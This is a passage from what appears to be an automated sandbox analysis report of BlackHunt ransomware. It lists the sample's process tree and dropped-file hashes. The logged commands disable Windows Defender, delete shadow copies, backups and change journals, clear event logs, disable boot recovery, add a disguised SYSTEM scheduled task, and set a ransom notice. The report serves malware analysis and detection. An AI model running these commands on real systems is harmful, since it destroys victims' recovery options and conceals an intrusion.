                                                                                2⤵
                                                                                  PID:1276
                                                                                • C:\Windows\System32\cmd.exe
                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                                  2⤵
                                                                                    PID:2672
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                                                                    2⤵
                                                                                      PID:2176
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                                      2⤵
                                                                                        PID:2392
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                                        2⤵
                                                                                          PID:3692
                                                                                        • C:\Windows\System32\cmd.exe
                                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                                                                          2⤵
                                                                                            PID:4924
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                                                                            2⤵
                                                                                              PID:3996
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                              2⤵
                                                                                                PID:4372
                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                                                                                                2⤵
                                                                                                  PID:4488
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                  2⤵
                                                                                                    PID:4532
                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                                                    2⤵
                                                                                                      PID:1940
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
                                                                                                      2⤵
                                                                                                        PID:10796
                                                                                                        • C:\Windows\system32\fsutil.exe
                                                                                                          fsutil usn deletejournal /D F:\
                                                                                                          3⤵
                                                                                                            PID:6128
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                          2⤵
                                                                                                            PID:308
                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                              fsutil usn deletejournal /D M:\
                                                                                                              3⤵
                                                                                                                PID:8228
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                              2⤵
                                                                                                                PID:10724
                                                                                                                • C:\Windows\system32\fsutil.exe
                                                                                                                  fsutil usn deletejournal /D C:\
                                                                                                                  3⤵
                                                                                                                    PID:10172
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                  2⤵
                                                                                                                    PID:5816
                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                      wevtutil.exe cl Security /e:false
                                                                                                                      3⤵
                                                                                                                      • Clears Windows event logs
                                                                                                                      PID:6048
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                    2⤵
                                                                                                                      PID:6108
                                                                                                                      • C:\Windows\system32\bcdedit.exe
                                                                                                                        bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                        3⤵
                                                                                                                        • Modifies boot configuration data using bcdedit
                                                                                                                        PID:4048
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                      2⤵
                                                                                                                        PID:8476
                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                          3⤵
                                                                                                                            PID:13680
                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                          "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe"
                                                                                                                          2⤵
                                                                                                                            PID:11544
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
                                                                                                                            2⤵
                                                                                                                              PID:2560
                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                              "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                              2⤵
                                                                                                                                PID:9616
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
                                                                                                                                2⤵
                                                                                                                                  PID:9140
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                  2⤵
                                                                                                                                    PID:1372
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                    2⤵
                                                                                                                                      PID:13940
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                      2⤵
                                                                                                                                        PID:7640
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                        2⤵
                                                                                                                                          PID:12540
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                          2⤵
                                                                                                                                            PID:7784
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                                            2⤵
                                                                                                                                              PID:4556
                                                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                                              2⤵
                                                                                                                                                PID:9912
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                                                2⤵
                                                                                                                                                  PID:8276
                                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                                  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                  2⤵
                                                                                                                                                    PID:11128
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                                    2⤵
                                                                                                                                                      PID:10860
                                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                                      2⤵
                                                                                                                                                        PID:4356
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                                                        2⤵
                                                                                                                                                          PID:4676
                                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                                                          2⤵
                                                                                                                                                            PID:6820
                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                                                          1⤵
                                                                                                                                                            PID:3544
                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                                                                                                                                                            1⤵
                                                                                                                                                              PID:1132
                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                                                                                                                                                              1⤵
                                                                                                                                                                PID:1568
                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:5140
                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:12156
                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:8812
                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:6780
                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                                                                                        1⤵
                                                                                                                                                                          PID:6276
                                                                                                                                                                        • C:\Windows\system32\schtasks.exe
                                                                                                                                                                          SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\46c7f0051681fd02aee484fe44ef5fb94a6ae53aaffdf7b56bc2a306e72c8c37.exe" /F
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                          PID:6908
                                                                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                          vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Interacts with shadow copies
                                                                                                                                                                          PID:7744
                                                                                                                                                                        • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                          vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Interacts with shadow copies
                                                                                                                                                                          PID:8068
                                                                                                                                                                        • C:\Windows\system32\vssvc.exe
                                                                                                                                                                          C:\Windows\system32\vssvc.exe
                                                                                                                                                                          1⤵
                                                                                                                                                                            PID:2804
                                                                                                                                                                          • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                            wbadmin.exe delete catalog -quiet
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Deletes backup catalog
                                                                                                                                                                            PID:1420
                                                                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                            bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                                                                            PID:5876
                                                                                                                                                                          • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                            bcdedit /set {default} recoveryenabled No
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Modifies boot configuration data using bcdedit
                                                                                                                                                                            PID:12120
                                                                                                                                                                          • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                            vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
                                                                                                                                                                            1⤵
                                                                                                                                                                            • Interacts with shadow copies
                                                                                                                                                                            PID:11340
                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                                                                                            1⤵
                                                                                                                                                                              PID:10708
                                                                                                                                                                            • C:\Windows\system32\wbengine.exe
                                                                                                                                                                              "C:\Windows\system32\wbengine.exe"
                                                                                                                                                                              1⤵
                                                                                                                                                                                PID:14116
                                                                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Interacts with shadow copies
                                                                                                                                                                                PID:10668
                                                                                                                                                                              • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
                                                                                                                                                                                1⤵
                                                                                                                                                                                • Interacts with shadow copies
                                                                                                                                                                                PID:11144
                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                                                                                                                1⤵
                                                                                                                                                                                  PID:6776
                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                                                                                                                                                  1⤵
                                                                                                                                                                                    PID:5884
                                                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                                                                                                                                    1⤵
                                                                                                                                                                                      PID:5312
                                                                                                                                                                                    • C:\Windows\System32\vdsldr.exe
                                                                                                                                                                                      C:\Windows\System32\vdsldr.exe -Embedding
                                                                                                                                                                                      1⤵
                                                                                                                                                                                        PID:7440
                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:5204
                                                                                                                                                                                        • C:\Windows\System32\vds.exe
                                                                                                                                                                                          C:\Windows\System32\vds.exe
                                                                                                                                                                                          1⤵
                                                                                                                                                                                            PID:15584
                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:5168
                                                                                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                                                                                                                                                              1⤵
                                                                                                                                                                                                PID:5160
                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                                                                                                                                                                1⤵
                                                                                                                                                                                                  PID:5152
                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                    PID:4532
                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                        PID:1644
                                                                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                                                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                        PID:2272
                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                          PID:4776
                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                          reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                            PID:2168
                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                              PID:1084
                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                              wevtutil.exe cl Setup
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                              PID:6008
                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                              wevtutil.exe cl System
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                              PID:9800
                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                              wevtutil.exe cl Application
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                              PID:8436
                                                                                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                                                                                              wevtutil.exe cl Security
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Clears Windows event logs
                                                                                                                                                                                                              PID:5940
                                                                                                                                                                                                            • C:\Windows\system32\bcdedit.exe
                                                                                                                                                                                                              bcdedit /set {default} recoveryenabled No
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Modifies boot configuration data using bcdedit
                                                                                                                                                                                                              PID:9824
                                                                                                                                                                                                            • C:\Windows\system32\fsutil.exe
                                                                                                                                                                                                              fsutil.exe usn deletejournal /D C:
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                              • Deletes NTFS Change Journal
                                                                                                                                                                                                              PID:13320
                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                              schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:4744
                                                                                                                                                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                ping 127.0.0.1 -n 5
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                                                PID:3196
                                                                                                                                                                                                              • C:\Windows\system32\wbadmin.exe
                                                                                                                                                                                                                wbadmin.exe delete catalog -quiet
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                • Deletes backup catalog
                                                                                                                                                                                                                PID:8424
                                                                                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                                                                                taskkill /IM mshta.exe /f
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                • Kills process with taskkill
                                                                                                                                                                                                                PID:13528
                                                                                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:12028
                                                                                                                                                                                                                • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                  REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:5996
                                                                                                                                                                                                                  • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:4068
                                                                                                                                                                                                                    • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                      notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:13652
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                        "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:3592
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3592 -s 1444
                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                            PID:10900
                                                                                                                                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:13748
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3592 -ip 3592
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:10192
                                                                                                                                                                                                                            • C:\Windows\system32\vssadmin.exe
                                                                                                                                                                                                                              vssadmin.exe Delete Shadows /all /quiet
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Interacts with shadow copies
                                                                                                                                                                                                                              PID:6152

                                                                                                                                                                                                                            Network

                                                                                                                                                                                                                            MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                            Replay Monitor

                                                                                                                                                                                                                            Loading Replay Monitor...

                                                                                                                                                                                                                            Downloads

                                                                                                                                                                                                                            • C:\ProgramData\#BlackHunt_Private.key
                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              1KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              1c37ad752ef1d2885e1b98cbb30da0d5

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              0f6c33395134b5c865455ec6c3eb0fc92aa99afe

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              a5c837bd15340190da9b82c99b6a9d797809761a47c5d585f073dd0a85ef4d87

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              2dd4f6a1e2ac496dc425ae22096a810a686a380c87a7825b4b4ce3a24bf1aeaacc04c2781d4b0c4e316a97398e23c72568f6627cd57f33e0079a5b5271e9289f

                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                            • F:\#BlackHunt_ReadMe.hta
                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              12KB

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              442cf14c63ff126911c85c988546fbfb

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              ba181d721910ee2d089f3fa98df3f96478e0b515

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              0290457ca5d1967ea5fd2546ce01aa0906111af939e9dcdfc3e3aba51f2f684b

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              ca0688ed1e4c1ab95a4ee4e01d8e539a3ac5f3e12b138b2a6c10ce4447b9e0e8cdadcb4e54e96592f664e93bfe04887f1be96d00858b6e071c5833b738f1f867

                                                                                                                                                                                                                              Download Submit

                                                                                                                                                                                                                            • F:\#BlackHunt_ReadMe.txt
                                                                                                                                                                                                                              Filesize

                                                                                                                                                                                                                              684B

                                                                                                                                                                                                                              MD5

                                                                                                                                                                                                                              caead1e987f7109537fd507cc61d3588

                                                                                                                                                                                                                              SHA1

                                                                                                                                                                                                                              8ab783ab6d7489fdea3a041cee215fedb6046647

                                                                                                                                                                                                                              SHA256

                                                                                                                                                                                                                              5ef69e1de9ee4fc52d5f81b8c60d586f638dedf389b6a341879a42f28a0de3e0

                                                                                                                                                                                                                              SHA512

                                                                                                                                                                                                                              83a0ed5cc5106e8ca377af59070f1eae0a6ea2418294b20aab6835b2619eff1ffd892a904c0c9dfe4adabe3273747d955db42915ac3476fec9e500ba8781e815

                                                                                                                                                                                                                              Download Submit